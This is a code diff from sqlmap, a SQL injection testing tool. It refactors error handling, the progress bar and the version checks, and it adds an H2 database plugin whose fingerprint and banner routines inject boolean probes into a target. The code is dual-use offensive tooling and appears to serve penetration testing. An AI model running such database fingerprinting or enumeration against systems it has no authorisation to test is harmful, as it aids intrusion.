+            self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes))
 
         # Add the percentage at the beginning of the progress bar
         percentString = getUnicode(percentDone) + "%"
         self._progBar = "%s %s" % (percentString, self._progBar)
 
-    def progress(self, deltaTime, newAmount):
+    def progress(self, newAmount):
         """
         This method saves item delta time and shows updated progress bar with calculated eta
         """
 
-        if len(self._times) <= ((self._max * 3) / 100) or newAmount > self._max:
+        if self._start is None or newAmount > self._max:
+            self._start = time.time()
             eta = None
         else:
-            midTime = sum(self._times) / len(self._times)
-            midTimeWithLatest = (midTime + deltaTime) / 2
-            eta = midTimeWithLatest * (self._max - newAmount)
+            delta = time.time() - self._start
+            eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta
 
-        self._times.append(deltaTime)
         self.update(newAmount)
         self.draw(eta)
 
@@ -90,15 +89,13 @@ class ProgressBar(object):
         This method draws the progress bar if it has changed
         """
 
-        if self._progBar != self._oldProgBar:
-            self._oldProgBar = self._progBar
-            dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, ("  ETA %s" % self._convertSeconds(int(eta))) if eta is not None else ""))
-            if self._amount >= self._max:
-                if not conf.liveTest:
-                    dataToStdout("\r%s\r" % (" " * self._width))
-                    kb.prependFlag = False
-                else:
-                    dataToStdout("\n")
+        dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, ("  (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
+        if self._amount >= self._max:
+            if not conf.liveTest:
+                dataToStdout("\r%s\r" % (" " * self._width))
+                kb.prependFlag = False
+            else:
+                dataToStdout("\n")
 
     def __str__(self):
         """

lib/utils/search.py

@@ -20,6 +20,7 @@ from lib.core.common import urlencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CUSTOM_LOGGING
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import REDIRECTION
@@ -35,7 +36,6 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.request.basic import decodePage
 from thirdparty.socks import socks
 
-
 def _search(dork):
     """
     This method performs the effective search on Google providing
@@ -165,6 +165,7 @@ def _search(dork):
 
     return retVal
 
+@stackedmethod
 def search(dork):
     pushValue(kb.redirectChoice)
     kb.redirectChoice = REDIRECTION.YES
@@ -187,5 +188,5 @@ def search(dork):
     finally:
         kb.redirectChoice = popValue()
 
-def setHTTPHandlers():  # Cross-linked function
+def setHTTPHandlers():  # Cross-referenced function
     raise NotImplementedError

lib/utils/sqlalchemy.py

@@ -46,7 +46,7 @@ class SQLAlchemy(GenericConnector):
             try:
                 if not self.port and self.db:
                     if not os.path.exists(self.db):
-                        raise SqlmapFilePathException, "the provided database file '%s' does not exist" % self.db
+                        raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db)
 
                     _ = conf.direct.split("//", 1)
                     conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))
@@ -57,7 +57,7 @@ class SQLAlchemy(GenericConnector):
                 if self.dialect == "sqlite":
                     engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False})
                 elif self.dialect == "oracle":
-                    engine = _sqlalchemy.create_engine(conf.direct, connect_args={"allow_twophase": False})
+                    engine = _sqlalchemy.create_engine(conf.direct)
                 else:
                     engine = _sqlalchemy.create_engine(conf.direct, connect_args={})
 

lib/utils/versioncheck.py

@@ -6,18 +6,23 @@ See the file 'LICENSE' for copying permission
 """
 
 import sys
+import time
 
 PYVERSION = sys.version.split()[0]
 
 if PYVERSION >= "3" or PYVERSION < "2.6":
-    exit("[CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
+    exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION))
 
-extensions = ("bz2", "gzip", "ssl", "sqlite3", "zlib")
-try:
-    for _ in extensions:
+errors = []
+extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib")
+for _ in extensions:
+    try:
         __import__(_)
-except ImportError:
-    errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
+    except ImportError:
+        errors.append(_)
+
+if errors:
+    errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in errors))
     errMsg += "most likely because current version of Python has been "
-    errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
-    exit(errMsg)
+    errMsg += "built without appropriate dev packages"
+    exit(errMsg)

lib/utils/xrange.py

@@ -49,12 +49,10 @@ class xrange(object):
         return hash(self._slice)
 
     def __cmp__(self, other):
-        return (cmp(type(self), type(other)) or
-                cmp(self._slice, other._slice))
+        return (cmp(type(self), type(other)) or cmp(self._slice, other._slice))
 
     def __repr__(self):
-        return '%s(%r, %r, %r)' % (type(self).__name__,
-                                   self.start, self.stop, self.step)
+        return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step)
 
     def __len__(self):
         return self._len()
@@ -69,7 +67,7 @@ class xrange(object):
         if isinstance(index, slice):
             start, stop, step = index.indices(self._len())
             return xrange(self._index(start),
-                          self._index(stop), step*self.step)
+                          self._index(stop), step * self.step)
         elif isinstance(index, (int, long)):
             if index < 0:
                 fixed_index = index + self._len()

plugins/dbms/access/connector.py

@@ -12,6 +12,7 @@ except:
 
 import logging
 
+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -43,7 +44,7 @@ class Connector(GenericConnector):
         try:
             self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db)
         except (pyodbc.Error, pyodbc.OperationalError), msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.initCursor()
         self.printConnected()
@@ -52,16 +53,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except pyodbc.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
         except pyodbc.Error, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.connector.commit()
 

plugins/dbms/access/fingerprint.py

@@ -48,11 +48,12 @@ class Fingerprint(GenericFingerprint):
 
         # Microsoft Access table reference updated on 01/2010
         sysTables = {
-                      "97":           ("MSysModules2", "MSysAccessObjects"),
-                      "2000" :        ("!MSysModules2", "MSysAccessObjects"),
-                      "2002-2003" :   ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
-                      "2007" :        ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
-                    }
+            "97": ("MSysModules2", "MSysAccessObjects"),
+            "2000": ("!MSysModules2", "MSysAccessObjects"),
+            "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
+            "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
+        }
+
         # MSysAccessXML is not a reliable system table because it doesn't always exist
         # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
 
@@ -128,7 +129,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"]
+            banVer = kb.bannerFp.get("dbmsVersion")
 
             if re.search(r"-log$", kb.data.banner):
                 banVer += ", logging enabled"

plugins/dbms/db2/connector.py

@@ -12,6 +12,7 @@ except:
 
 import logging
 
+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -19,9 +20,9 @@ from plugins.generic.connector import Connector as GenericConnector
 
 class Connector(GenericConnector):
     """
-    Homepage: http://code.google.com/p/ibm-db/
-    User guide: http://code.google.com/p/ibm-db/wiki/README
-    API: http://www.python.org/dev/peps/pep-0249/
+    Homepage: https://github.com/ibmdb/python-ibmdb
+    User guide: https://github.com/ibmdb/python-ibmdb/wiki/README
+    API: https://www.python.org/dev/peps/pep-0249/
     License: Apache License 2.0
     """
 
@@ -37,7 +38,6 @@ class Connector(GenericConnector):
         except ibm_db_dbi.OperationalError, msg:
             raise SqlmapConnectionException(msg)
 
-
         self.initCursor()
         self.printConnected()
 
@@ -45,16 +45,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except ibm_db_dbi.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
         except ibm_db_dbi.InternalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.connector.commit()
 

plugins/dbms/db2/enumeration.py

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-
 from lib.core.data import logger
 from plugins.generic.enumeration import Enumeration as GenericEnumeration
 

plugins/dbms/db2/fingerprint.py

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-
 from lib.core.common import Backend
 from lib.core.common import Format
 from lib.core.data import conf
@@ -64,12 +63,12 @@ class Fingerprint(GenericFingerprint):
             value += DBMS.DB2
             return value
 
-        actVer      = Format.getDbms()
-        blank       = " " * 15
-        value      += "active fingerprint: %s" % actVer
+        actVer = Format.getDbms()
+        blank = " " * 15
+        value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
             banVer = Format.getDbms([banVer])
             value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
 
@@ -127,12 +126,14 @@ class Fingerprint(GenericFingerprint):
         infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
 
         if result:
-            versions = { "2003": ("5.2", (2, 1)),
+            versions = {
+                "2003": ("5.2", (2, 1)),
                 "2008": ("7.0", (1,)),
                 "2000": ("5.0", (4, 3, 2, 1)),
                 "7": ("6.1", (1, 0)),
                 "XP": ("5.1", (2, 1)),
-                "NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
+                "NT": ("4.0", (6, 5, 4, 3, 2, 1))
+            }
 
             # Get back-end DBMS underlying operating system version
             for version, data in versions.items():

plugins/dbms/firebird/connector.py

@@ -12,6 +12,7 @@ except:
 
 import logging
 
+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -39,10 +40,10 @@ class Connector(GenericConnector):
             self.checkFileDb()
 
         try:
-            self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \
-                user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")  # Reference: http://www.daniweb.com/forums/thread248499.html
+            # Reference: http://www.daniweb.com/forums/thread248499.html
+            self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
         except kinterbasdb.OperationalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.initCursor()
         self.printConnected()
@@ -51,16 +52,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except kinterbasdb.OperationalError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except kinterbasdb.OperationalError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
         except kinterbasdb.Error, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.connector.commit()
 

plugins/dbms/firebird/fingerprint.py

@@ -50,7 +50,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"]
+            banVer = kb.bannerFp.get("dbmsVersion")
 
             if re.search(r"-log$", kb.data.banner):
                 banVer += ", logging enabled"
@@ -68,12 +68,12 @@ class Fingerprint(GenericFingerprint):
     def _sysTablesCheck(self):
         retVal = None
         table = (
-                    ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
-                    ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
-                    ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
-                    ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
-                    # TODO: add test for Firebird 2.5
-                 )
+            ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
+            ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
+            ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
+            ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
+            # TODO: add test for Firebird 2.5
+        )
 
         for i in xrange(len(table)):
             version, checks = table[i]

plugins/dbms/h2/__init__.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.enums import DBMS
+from lib.core.settings import H2_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+from plugins.dbms.h2.enumeration import Enumeration
+from plugins.dbms.h2.filesystem import Filesystem
+from plugins.dbms.h2.fingerprint import Fingerprint
+from plugins.dbms.h2.syntax import Syntax
+from plugins.dbms.h2.takeover import Takeover
+from plugins.generic.misc import Miscellaneous
+
+class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines H2 methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = H2_SYSTEM_DBS
+
+        Syntax.__init__(self)
+        Fingerprint.__init__(self)
+        Enumeration.__init__(self)
+        Filesystem.__init__(self)
+        Miscellaneous.__init__(self)
+        Takeover.__init__(self)
+
+    unescaper[DBMS.H2] = Syntax.escape

plugins/dbms/h2/connector.py

@@ -0,0 +1,18 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.connector import Connector as GenericConnector
+
+class Connector(GenericConnector):
+    def __init__(self):
+        GenericConnector.__init__(self)
+
+    def connect(self):
+        errMsg = "on H2 it is not (currently) possible to establish a "
+        errMsg += "direct connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/h2/enumeration.py

@@ -0,0 +1,52 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.enumeration import Enumeration as GenericEnumeration
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.common import unArrayizeValue
+from lib.core.enums import DBMS
+from lib.core.settings import H2_DEFAULT_SCHEMA
+from lib.request import inject
+
+class Enumeration(GenericEnumeration):
+    def __init__(self):
+        GenericEnumeration.__init__(self)
+
+    def getBanner(self):
+        if not conf.getBanner:
+            return
+
+        if kb.data.banner is None:
+            infoMsg = "fetching banner"
+            logger.info(infoMsg)
+
+            query = queries[DBMS.H2].banner.query
+            kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True))
+
+        return kb.data.banner
+
+    def getPrivileges(self, *args):
+        warnMsg = "on H2 it is not possible to enumerate the user privileges"
+        logger.warn(warnMsg)
+
+        return {}
+
+    def getHostname(self):
+        warnMsg = "on H2 it is not possible to enumerate the hostname"
+        logger.warn(warnMsg)
+
+    def getCurrentDb(self):
+        return H2_DEFAULT_SCHEMA
+
+    def getPasswordHashes(self):
+        warnMsg = "on H2 it is not possible to list password hashes"
+        logger.warn(warnMsg)
+
+        return {}

plugins/dbms/h2/filesystem.py

@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.filesystem import Filesystem as GenericFilesystem
+
+class Filesystem(GenericFilesystem):
+    def __init__(self):
+        GenericFilesystem.__init__(self)
+
+    def readFile(self, rFile):
+        errMsg = "on H2 it is not possible to read files"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
+        errMsg = "on H2 it is not possible to write files"
+        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/h2/fingerprint.py

@@ -0,0 +1,96 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.common import Backend
+from lib.core.common import Format
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import DBMS
+from lib.core.session import setDbms
+from lib.core.settings import H2_ALIASES
+from lib.request import inject
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+
+class Fingerprint(GenericFingerprint):
+    def __init__(self):
+        GenericFingerprint.__init__(self, DBMS.H2)
+
+    def getFingerprint(self):
+        value = ""
+        wsOsFp = Format.getOs("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value += "back-end DBMS: "
+
+        if not conf.extensiveFp:
+            value += DBMS.H2
+            return value
+
+        actVer = Format.getDbms()
+        blank = " " * 15
+        value += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp.get("dbmsVersion")
+            banVer = Format.getDbms([banVer])
+            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = Format.getErrorParsedDBMSes()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def checkDbms(self):
+        if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES):
+            setDbms("%s %s" % (DBMS.H2, Backend.getVersion()))
+
+            self.getBanner()
+
+            return True
+
+        infoMsg = "testing %s" % DBMS.H2
+        logger.info(infoMsg)
+
+        result = inject.checkBooleanExpression("ZERO() IS 0")
+
+        if result:
+            infoMsg = "confirming %s" % DBMS.H2
+            logger.info(infoMsg)
+
+            result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")
+
+            if not result:
+                warnMsg = "the back-end DBMS is not %s" % DBMS.H2
+                logger.warn(warnMsg)
+
+                return False
+            else:
+                setDbms(DBMS.H2)
+
+                self.getBanner()
+
+                return True
+        else:
+            warnMsg = "the back-end DBMS is not %s" % DBMS.H2
+            logger.warn(warnMsg)
+
+            return False
+
+    def getHostname(self):
+        warnMsg = "on H2 it is not possible to enumerate the hostname"
+        logger.warn(warnMsg)

plugins/dbms/h2/syntax.py

@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.syntax import Syntax as GenericSyntax
+
+class Syntax(GenericSyntax):
+    def __init__(self):
+        GenericSyntax.__init__(self)
+
+    @staticmethod
+    def escape(expression, quote=True):
+        """
+        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
+        'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar'
+        """
+
+        def escaper(value):
+            return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value)))
+
+        return Syntax._escape(expression, quote, escaper)

plugins/dbms/h2/takeover.py

@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.takeover import Takeover as GenericTakeover
+
+class Takeover(GenericTakeover):
+    def __init__(self):
+        GenericTakeover.__init__(self)
+
+    def osCmd(self):
+        errMsg = "on H2 it is not possible to execute commands"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osShell(self):
+        errMsg = "on H2 it is not possible to execute commands"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osPwn(self):
+        errMsg = "on H2 it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osSmb(self):
+        errMsg = "on H2 it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/hsqldb/connector.py

@@ -46,11 +46,8 @@ class Connector(GenericConnector):
 
         try:
             driver = 'org.hsqldb.jdbc.JDBCDriver'
-            connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db)
-            self.connector = jaydebeapi.connect(driver,
-                                        connection_string,
-                                        str(self.user),
-                                        str(self.password))
+            connection_string = 'jdbc:hsqldb:mem:.'  # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db)
+            self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
         except Exception, msg:
             raise SqlmapConnectionException(msg[0])
 
@@ -70,7 +67,7 @@ class Connector(GenericConnector):
         try:
             self.cursor.execute(query)
             retVal = True
-        except Exception, msg: #todo fix with specific error
+        except Exception, msg:  # TODO: fix with specific error
             logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
 
         self.connector.commit()

plugins/dbms/hsqldb/filesystem.py

@@ -17,5 +17,5 @@ class Filesystem(GenericFilesystem):
         raise SqlmapUnsupportedFeatureException(errMsg)
 
     def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
-        errMsg = "on HSQLDB it is not possible to read files"
+        errMsg = "on HSQLDB it is not possible to write files"
         raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/hsqldb/fingerprint.py

@@ -47,7 +47,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
 
             if re.search(r"-log$", kb.data.banner):
                 banVer += ", logging enabled"
@@ -106,6 +106,13 @@ class Fingerprint(GenericFingerprint):
 
                 return False
             else:
+                result = inject.checkBooleanExpression("ZERO() IS 0")   # Note: check for H2 DBMS (sharing majority of same functions)
+                if result:
+                    warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
+                    logger.warn(warnMsg)
+
+                    return False
+
                 kb.data.has_information_schema = True
                 Backend.setVersion(">= 1.7.2")
                 setDbms("%s 1.7.2" % DBMS.HSQLDB)
@@ -125,9 +132,12 @@ class Fingerprint(GenericFingerprint):
 
             return True
         else:
-            warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB
+            warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
             logger.warn(warnMsg)
 
+            dbgMsg = "...or version is < 1.7.2"
+            logger.debug(dbgMsg)
+
             return False
 
     def getHostname(self):

plugins/dbms/informix/connector.py

@@ -12,6 +12,7 @@ except:
 
 import logging
 
+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -19,9 +20,9 @@ from plugins.generic.connector import Connector as GenericConnector
 
 class Connector(GenericConnector):
     """
-    Homepage: http://code.google.com/p/ibm-db/
-    User guide: http://code.google.com/p/ibm-db/wiki/README
-    API: http://www.python.org/dev/peps/pep-0249/
+    Homepage: https://github.com/ibmdb/python-ibmdb
+    User guide: https://github.com/ibmdb/python-ibmdb/wiki/README
+    API: https://www.python.org/dev/peps/pep-0249/
     License: Apache License 2.0
     """
 
@@ -35,8 +36,7 @@ class Connector(GenericConnector):
             database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port)
             self.connector = ibm_db_dbi.connect(database, self.user, self.password)
         except ibm_db_dbi.OperationalError, msg:
-            raise SqlmapConnectionException(msg)
-
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.initCursor()
         self.printConnected()
@@ -45,16 +45,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except ibm_db_dbi.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
         except ibm_db_dbi.InternalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.connector.commit()
 

plugins/dbms/informix/fingerprint.py

@@ -44,7 +44,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
             banVer = Format.getDbms([banVer])
             value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
 

plugins/dbms/informix/syntax.py

@@ -41,4 +41,4 @@ class Syntax(GenericSyntax):
             for _ in excluded.items():
                 retVal = retVal.replace(_[1], _[0])
 
-        return retVal
+        return retVal